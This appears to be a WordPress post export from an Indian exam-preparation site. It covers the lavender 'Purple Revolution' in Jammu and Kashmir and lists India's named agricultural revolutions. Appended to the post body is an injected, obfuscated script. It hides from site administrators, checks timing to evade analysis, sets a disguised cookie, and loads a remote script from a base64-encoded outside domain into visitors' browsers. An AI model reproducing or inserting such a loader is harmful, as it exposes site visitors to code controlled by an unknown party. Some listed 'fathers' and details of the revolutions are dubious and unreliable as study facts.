{"id":2157,"date":"2025-06-03T12:41:45","date_gmt":"2025-06-03T12:41:45","guid":{"rendered":"https:\/\/iasquest.com\/?p=2157"},"modified":"2026-02-11T18:56:12","modified_gmt":"2026-02-11T18:56:12","slug":"gs-iii-technology-economic-development-biodiversity-environment-security-and-disaster-management-11","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/gs-iii-technology-economic-development-biodiversity-environment-security-and-disaster-management-11\/","title":{"rendered":"GS III Technology, Economic Development, Biodiversity, Environment, Security and Disaster Management"},"content":{"rendered":"\n<p class=\"has-vivid-red-color has-text-color has-link-color wp-elements-1 wp-block-paragraph\"><strong>What is the Purple Revolution? Enumerate the significant approaches at revolutionizing Agriculture in India.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\">The <strong>Lavender cultivation<\/strong> success in <strong>Jammu and Kashmir<\/strong> exemplifies the powerful collaboration between research institutions, industry, and youth entrepreneurship, offering a path to <strong>boost farmers&#8217; income and enhance the rural economy<\/strong>. This transformation in the production and marketing of Lavender economy is referred to as the \u201cPurple Revolution.\u201d<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\"><strong>The Aroma Mission and Lavender Cultivation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-4\">\n<li>Council of Scientific and Industrial Research (CSIR) launched the Jammu and Kashmir Aroma Arogya Gram (JAAG) project to promote alternative crops like medicinal and aromatic plants (MAPs).<\/li>\n\n\n\n<li>The Aroma Mission introduced lavender cultivation to boost farmers\u2019 income and create employment.<\/li>\n\n\n\n<li>Farmers received free planting material, training, and support in cultivation, processing, and marketing.<\/li>\n\n\n\n<li>Originating in Bhaderwah, Doda, lavender cultivation has spread to other J&amp;K districts and states like Uttarakhand, Himachal Pradesh, Arunachal Pradesh, and Nagaland.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-5 wp-block-paragraph\"><strong>Economic Impact:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-6\">\n<li>Over 1,300 hectares in J&amp;K are under lavender cultivation, with significant progress in districts like Udhampur, Poonch, and Rajouri.<\/li>\n\n\n\n<li>Lavender farms have gained national recognition and boosted tourism, as seen in the Republic Day tableau at Kartavya Path.<\/li>\n\n\n\n<li>In 2024, Doda district extracted 100 kg of lavender oil and harvested 10 quintals of dry flowers, generating significant revenue for farmers.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-7 wp-block-paragraph\"><strong>Revolutionizing Agriculture in India:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>Green Revolution<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-9\">\n<li>The term &#8220;green revolution&#8221; describes the dramatic rise in <strong>food grain <\/strong>output, particularly for wheat and rice, that began in the middle of the 20th century and was largely attributed to the introduction of new, high-yielding variety (HYV) seeds into developing nations.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\"><strong>Evergreen Revolution<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-11\">\n<li>The term &#8220;Evergreen Revolution&#8221; was coined by Dr. M. S. Swaminathan to describe a strategy for improving output and productivity without compromising short- and <strong>long-term<\/strong> food production goals.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-12 wp-block-paragraph\"><strong>Yellow Revolution<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-13\">\n<li>The Yellow Revolution, which aimed to boost the production of <strong>edible oil, <\/strong>mainly from mustard and sesame seeds, was started in the years 1986-1987.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\"><strong>Blue Revolution<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-15\">\n<li>The government has launched a program called The Blue Revolution (Nili Kranti) to promote the <strong>aquaculture sector&#8217;s expansion<\/strong>. The Fish Farmers Development Agency (FFDA), sponsored by the Central Government of India, spearheaded the Blue Revolution in India during the 7th Five Year Plan (1985-1990).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-16 wp-block-paragraph\"><strong>Golden Revolution<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-17\">\n<li>The years 1991 to 2003 were known as the &#8220;Golden Revolution Period&#8221; because of how productive the planned investments in the <strong>horticulture <\/strong>segment were during this time. India rose to become the global leader in the production of numerous fruits, including cashew nuts, coconuts, and mangoes.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-18 wp-block-paragraph\"><strong>Grey Revolution<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-19\">\n<li>The beginning of the &#8220;grey revolution&#8221; occurred after the 1960s. The start of the grey revolution was triggered by the setbacks of the green revolution. It sought to be a <strong>better version of the green revolution<\/strong> and address its failings. Sustainable food system solutions are being developed by the agritech startup Grey Revolution. More focus on <strong>fertilizers <\/strong>from earlier seed enhancement.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-20 wp-block-paragraph\"><strong>Pink Revolution<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-21\">\n<li>The term &#8220;pink revolution&#8221; refers to a revolution in the technology employed in the nation&#8217;s<strong> poultry and meat processing industry.<\/strong> Durgesh Patel is known as the Father of the Pink Revolution. The poultry and meat industry, onion production, and pharmaceuticals were the three main areas of emphasis during the Pink Revolution.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-22 wp-block-paragraph\"><strong>Silver Revolution<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-23\">\n<li>The Silver Revolution is related to the enormous increase in <strong>egg production<\/strong> in India as a result of the use of cutting-edge techniques and technology to promote effective growth in the poultry industry. It took place between 1969 and 1978 while Indira Gandhi was Prime Minister. The late Dr BV Rao, the founder of Venkys (famous Indian Poultry Company), was the inspiration behind this revolution in the poultry industry.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-24 wp-block-paragraph\"><strong>Red Revolution<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-25\">\n<li>An agricultural revolution known as the &#8220;red revolution&#8221; increased the output of <strong>meat and tomatoes in India.<\/strong> Vishal Tewari, the father of India&#8217;s red revolution, served as its leader. The production of tomatoes and other main livestock products, such as meat, increased by an average of 3.1% every year as a result of this revolution. The change was made possible by the expansion of resources and advancements in technology, which accounted for about 66% of the growth.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-26 wp-block-paragraph\"><strong>White Revolution<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-27\">\n<li>The Indian government launched <strong>Operation Flood<\/strong>, often known as the White Revolution, in response to the Green Revolution&#8217;s enormous success in boosting the output of rice and wheat. The goal of India&#8217;s &#8220;white revolution&#8221; was to <strong>increase milk production<\/strong> and turn it into one of the largest milk-producing nations in the world. By removing the intermediaries, it established a national milk grid that connected farmers all across India to consumers in more than 700 towns and cities.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-28 wp-block-paragraph\"><strong>Golden Fibre Revolution<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-29\">\n<li>Prior to our independence, India was the sole significant contributor to the manufacture of jute. The industry suffered damage after independence for a number of causes and those factors collectively led to the beginning of the Golden Fibre Revolution.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-30 wp-block-paragraph\"><strong>Silver Fibre Revolution<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-31\">\n<li><strong>Cotton<\/strong> manufacturing is associated with the Silver Fibre Revolution. The Technology Mission on Cotton, Mini Mission-I, was launched in February 2000, along with three other Mini Missions, with the goal of improving cotton production and productivity while maintaining internationally competitive fibre quality.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-32 wp-block-paragraph\"><strong>Protein Revolution<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-33\">\n<li>The government refers to the protein revolution as the second technology-driven green revolution aimed at increasing productivity. Farmers were inspired to use scientific agricultural techniques to boost the productivity of their land and the output of foodgrains. Allowing the cultivation of <strong>lentils or pulses <\/strong>(as they are rich in proteins) on one-fifth of their land will also lower the number of lentils imported.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-34 wp-block-paragraph\">The impact of these revolutions on the expansion and increase of diverse farm products has helped the Indian agricultural sector establish a foundation and India as a nation to be the foremost on the global agricultural stage. As a result, India is a developing country that isn&#8217;t afraid to create innovative methods for improving outcomes in its largest sector, agriculture!<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-35 wp-block-paragraph\"><strong>Source<\/strong><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2133152\" target=\"_blank\" rel=\"noopener\">:<\/a><\/p>\n\n\n\n<p class=\"has-vivid-cyan-blue-color has-text-color has-link-color wp-elements-36 wp-block-paragraph\"><a href=\"https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2133152\" target=\"_blank\" rel=\"noopener\">https:\/\/www.pib.gov.in\/PressReleasePage.aspx?PRID=2133152<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>What is the Purple Revolution? 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